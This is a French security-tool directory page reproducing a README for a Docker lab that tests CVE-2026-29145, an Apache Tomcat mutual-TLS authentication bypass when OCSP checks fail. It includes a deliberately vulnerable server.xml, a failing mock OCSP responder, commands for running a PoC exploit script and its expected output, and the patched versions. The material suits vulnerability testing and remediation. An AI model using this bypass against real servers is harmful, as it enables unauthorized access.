Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29145-Tester — Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145. | Kitploit
Outils/GitHubGitHub/chenjp/cve-2026-29145-tester
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubchenjp/cve-2026-29145-tester

CVE-2026-29145-Tester

Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Environnement de test CVE-2026-29145

📌 Aperçu

Ce dépôt contient un environnement de preuve de concept (PoC) conçu pour tester la CVE-2026-29145.

La vulnérabilité est un contournement d'authentification dans l'implémentation du TLS mutuel (CLIENT_CERT) d'Apache Tomcat. Lorsque l'OCSP (Online Certificate Status Protocol) est configuré avec l'échec progressif (soft-fail) désactivé, Tomcat peut ne pas traiter un échec de vérification OCSP comme un refus strict. Cela permet à un client disposant d'un certificat potentiellement révoqué ou non vérifié de contourner l'authentification si le répondeur OCSP est injoignable ou renvoie une erreur.

🛡️ Détails de la vulnérabilité

PropriétéValeur
ID CVECVE-2026-29145
Score CVSS9.1 (Critique) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vecteur d'attaqueRéseau
Privilèges requisAucun
ImpactContournement d'authentification

Prérequis pour la vulnérabilité

  • ✓ Authentification CLIENT_CERT activée dans Tomcat
  • ✓ Vérification de révocation OCSP activée
  • ✓ Option d'échec progressif (soft-fail) désactivée (mode échec strict)
  • ✓ Répondeur OCSP injoignable ou en échec

🚀 Pour commencer

Prérequis

  • Docker & Docker Compose : Pour exécuter le conteneur Tomcat vulnérable
  • OpenSSL : Pour générer la PKI (Infrastructure à clés publiques) - généralement préinstallé sur Linux/macOS
  • Python 3.7+ : Pour exécuter le script de test et le répondeur simulé
  • curl (optionnel) : Pour les tests manuels
  • PowerShell (Windows uniquement) : Si vous utilisez les scripts .ps1

1. Cycle de test complet automatisé (recommandé)

Le script run_test.sh automatise l'ensemble du processus : nettoyage, génération de certificats et exécution de tous les scénarios de test (vulnérable, succès et corrigé).

root@kitploit:~
# Naviguer vers le répertoire du projet
cd CVE-2026-29145-Tester

# Rendre les scripts exécutables
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Installer les dépendances Python (si poc_exploit.py les requiert)
pip install -r requirements.txt

# Exécuter la suite de tests complète
./run_test.sh

2. Générer les certificats

Sur Linux/macOS :

root@kitploit:~
./setup_certs.sh

Sur Windows (PowerShell) :

root@kitploit:~
.\setup_certs.ps1

Ce que cela fait :

  • Crée une AC racine (Autorité de certification)
  • Génère le certificat serveur pour Tomcat
  • Génère le certificat client avec l'extension OCSP pointant vers http://localhost:8888
  • Valide que tous les certificats ont été créés avec succès

Sortie attendue :

root@kitploit:~
[INFO] Démarrage de la génération de certificats pour l'environnement de test CVE-2026-29145
[INFO] OpenSSL trouvé : OpenSSL 3.0.x (...)
[INFO] Répertoire certs créé
[INFO] Génération de l'AC racine...
[INFO] Génération du certificat serveur...
[INFO] Génération du certificat client avec extension OCSP...
[INFO] Configuration des certificats terminée avec succès !

3. Démarrer l'environnement vulnérable

root@kitploit:~
docker-compose up -d

Ce que cela fait :

  • Démarre le répondeur simulé OCSP sur le port 8888 (simule un échec avec HTTP 500)
  • Démarre Tomcat 10.1.52 vulnérable sur le port 8443 avec l'authentification CLIENT_CERT
  • Crée un réseau Docker interne pour la communication entre services
  • Configure des contrôles de santé pour les deux services

Vérifier que les conteneurs sont en cours d'exécution :

root@kitploit:~
docker-compose ps

4. Exécuter le test d'exploitation

root@kitploit:~
python poc_exploit.py

Sorties attendues :

Système vulnérable :

root@kitploit:~
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[WARNING] VULNÉRABLE : Accès accordé malgré l'échec de la vérification OCSP.
[WARNING] Aperçu de la réponse : <html>...

Système corrigé :

root@kitploit:~
[INFO] Tentative de connexion à https://localhost:8443/protected-resource...
[INFO] NON VULNÉRABLE : Accès refusé (authentification fonctionnelle).

🧪 Scénarios de test

ScénarioStatut OCSPAttendu (Corrigé)Résultat (Vulnérable)Notes
Fonctionnement normalEn ligne et valide200 OK ✓200 OK ✓La vérification OCSP réussit, accès accordé
Échec progressifHors ligne/Délai dépassé403 Interdit ✓200 OK ✗CONTOURNEMENT - Répondeur OCSP injoignable
Révocation stricteEn ligne et révoqué403 Interdit ✓403 Interdit ✓Certificat explicitement révoqué
Certificat invalideChaîne invalide403 Interdit ✓403 Interdit ✓La validation de la chaîne échoue

Exécution de différents scénarios de test

Test 1 : Par défaut (répondeur OCSP en échec)

root@kitploit:~
# Garder les conteneurs en cours d'exécution
python poc_exploit.py

Test 2 : Arrêter le répondeur OCSP (simuler un délai dépassé)

root@kitploit:~
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Test 3 : Test manuel avec curl

root@kitploit:~
curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Structure du projet

root@kitploit:~
CVE-2026-29145-Tester/
├── README.md                    # Ce fichier
├── setup_certs.sh              # Script de génération de certificats - Bash (Linux/macOS)
├── setup_certs.ps1             # Script de génération de certificats - PowerShell (Windows)
├── cleanup.sh                  # Script de nettoyage et de réinitialisation - Bash (Linux/macOS)
├── cleanup.ps1                 # Script de nettoyage et de réinitialisation - PowerShell (Windows)
├── run_test.sh                 # Script de cycle de test complet automatisé
├── docker-compose.yml          # Orchestration des services Docker
├── requirements.txt            # Dépendances Python
├── poc_exploit.py              # Script de test principal (avec journalisation et gestion des erreurs)
├── simple_proxy_fail.py        # Répondeur OCSP simulé (avec journalisation détaillée)
├── .gitignore                  # Règles d'ignorance Git pour les certificats et journaux
├── certs/                      # Certificats générés (créés par les scripts setup_certs)
│   ├── ca-chain.pem           # Certificat de l'AC racine
│   ├── ca-key.pem             # Clé privée de l'AC racine
│   ├── server-cert.pem        # Certificat serveur Tomcat
│   ├── server-key.pem         # Clé privée du serveur Tomcat
│   ├── client-cert.pem        # Certificat client de test
│   └── client-key.pem         # Clé privée du client de test
├── tomcat/
│   └── server.xml             # Configuration Tomcat vulnérable
└── logs/                       # Journaux Tomcat (créés à l'exécution)

📋 Détails de configuration

Configuration Server.xml (vulnérable)

Le fichier tomcat/server.xml configure :

root@kitploit:~
<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Paramètres clés :

  • certificateVerification="required" - Applique l'authentification CLIENT_CERT
  • OCSP on - Active la vérification de révocation OCSP
  • Aucune substitution d'échec progressif - Utilise le mode d'échec strict (vulnérable)

Configuration du répondeur OCSP

Le répondeur OCSP simulé (simple_proxy_fail.py) :

  • Écoute sur localhost:8888
  • Renvoie toujours HTTP 500 (Erreur serveur)
  • Journalise toutes les requêtes OCSP entrantes
  • Simule un service OCSP injoignable/en échec

🔧 Dépannage

Problèmes courants et solutions

❌ Erreur : « OpenSSL n'est pas installé »

root@kitploit:~
# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Erreur : « Fichiers de certificats manquants »

Cause : La génération des certificats a échoué ou n'a pas été exécutée.

root@kitploit:~
# Nettoyer et régénérer
rm -rf certs
./setup_certs.sh

❌ Erreur : « Connexion refusée » sur le port 8443

Cause : Le conteneur Tomcat n'est pas en cours d'exécution ou n'est pas prêt.

root@kitploit:~
# Vérifier l'état du conteneur
docker-compose ps

# Vérifier les journaux
docker-compose logs vulnerable-tomcat

# S'assurer que les deux services sont en cours d'exécution et sains
docker-compose up -d
sleep 10  # Attendre le démarrage des services

❌ Erreur : « Délai de connexion dépassé »

Cause : Tomcat met trop de temps à démarrer ou problèmes réseau.

root@kitploit:~
# Vérifier les journaux de démarrage de Tomcat
docker-compose logs vulnerable-tomcat

# Augmenter le délai et réessayer
timeout 30 docker-compose logs -f vulnerable-tomcat  # Surveiller le démarrage

❌ Erreur : « docker-compose : commande introuvable »

Cause : Docker Compose n'est pas installé ou n'est pas dans le PATH.

root@kitploit:~
# Installer Docker Compose (si utilisation autonome)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# Ou utiliser docker compose (V2 intégré à Docker Desktop)
docker compose up -d

❌ Erreur : « SSL : CERTIFICATE_VERIFY_FAILED »

Cause : La validation du certificat échoue.

root@kitploit:~
# Vérifier que les fichiers de certificats existent
ls -la certs/

# Vérifier la validité du certificat
openssl x509 -in certs/client-cert.pem -noout -text

❌ Erreur : « requests.exceptions.SSLError »

Cause : Échec de la poignée de main SSL - peut indiquer que l'échec strict fonctionne correctement.

Solution : C'est en fait un bon signe ! L'échec strict empêche l'accès lorsque l'OCSP échoue.

root@kitploit:~
# Vérifier si le répondeur OCSP est en cours d'exécution
docker-compose ps ocsp-responder

# Afficher l'erreur détaillée
python poc_exploit.py  # Fournit déjà une journalisation détaillée

❌ Erreur : « Adresse déjà utilisée »

Cause : Le port 8443 ou 8888 est déjà utilisé.

root@kitploit:~
# Trouver le processus utilisant le port
lsof -i :8443
lsof -i :8888

# Tuer le processus ou utiliser d'autres ports dans docker-compose.yml

Débogage et journaux

Afficher les journaux détaillés

root@kitploit:~
# Journaux Tomcat
docker-compose logs -f vulnerable-tomcat

# Journaux du répondeur OCSP
docker-compose logs -f ocsp-responder

# Débogage du script Python
python poc_exploit.py  # Inclut déjà une journalisation détaillée

Surveiller les événements en temps réel

root@kitploit:~
# Ouvrir un terminal et exécuter
docker-compose logs -f

# Dans un autre terminal, exécuter le test
python poc_exploit.py

Débogage réseau

root@kitploit:~
# Tester la connectivité vers le répondeur OCSP
curl http://localhost:8888/

# Tester le répondeur OCSP depuis l'intérieur du conteneur Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/

# Tester la poignée de main SSL
openssl s_client -connect localhost:8443 \
  -cert certs/client-cert.pem \
  -key certs/client-key.pem \
  -CAfile certs/ca-chain.pem

🧹 Nettoyage

Pour supprimer tous les conteneurs, volumes, certificats et journaux :

Sur Linux/macOS :

root@kitploit:~
./cleanup.sh

Sur Windows (PowerShell) :

root@kitploit:~
.\cleanup.ps1

Ce que cela fait :

  • Arrête et supprime tous les conteneurs Docker
  • Supprime le répertoire certs/ généré
  • Supprime le répertoire logs/
  • Nettoie les fichiers cache Python

Vérifier le nettoyage :

root@kitploit:~
docker-compose ps  # Ne devrait rien afficher
ls -la certs/      # Ne devrait pas exister

⚖️ Avertissement

Ce projet est destiné à des fins éducatives et de tests de sécurité autorisés uniquement.

  • ⚠️ Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester
  • ⚠️ L'utilisation de ces outils contre des systèmes sans autorisation est illégale et contraire à l'éthique
  • ⚠️ Les auteurs ne sont pas responsables de toute utilisation abusive de ce logiciel
  • ⚠️ Assurez-vous toujours d'avoir des sauvegardes appropriées avant de tester sur des systèmes de production

📝 Correction

Pour atténuer cette vulnérabilité, mettez à niveau Apache Tomcat vers les versions suivantes :

Série de versionsVersion corrigée minimale
11.0.x11.0.20 ou ultérieure
10.1.x10.1.53 ou ultérieure
9.0.x9.0.116 ou ultérieure

Étapes de mise à niveau :

root@kitploit:~
# Exemple : Mettre à jour docker-compose.yml pour utiliser la version corrigée
# Changer : image: tomcat:10.1.52-jdk17
# En : image: tomcat:10.1.53-jdk17

docker-compose down
docker-compose up -d

🔗 Références

  • Détails de la CVE-2026-29145
  • Documentation Apache Tomcat
  • OCSP (RFC 6960)
  • Aperçu du TLS mutuel (mTLS)

📬 Support

Pour les problèmes, questions ou contributions, veuillez ouvrir un problème ou soumettre une demande d'extraction.


Dernière mise à jour : Avril 2026
Statut : Tests et documentation terminés

Télécharger l’outil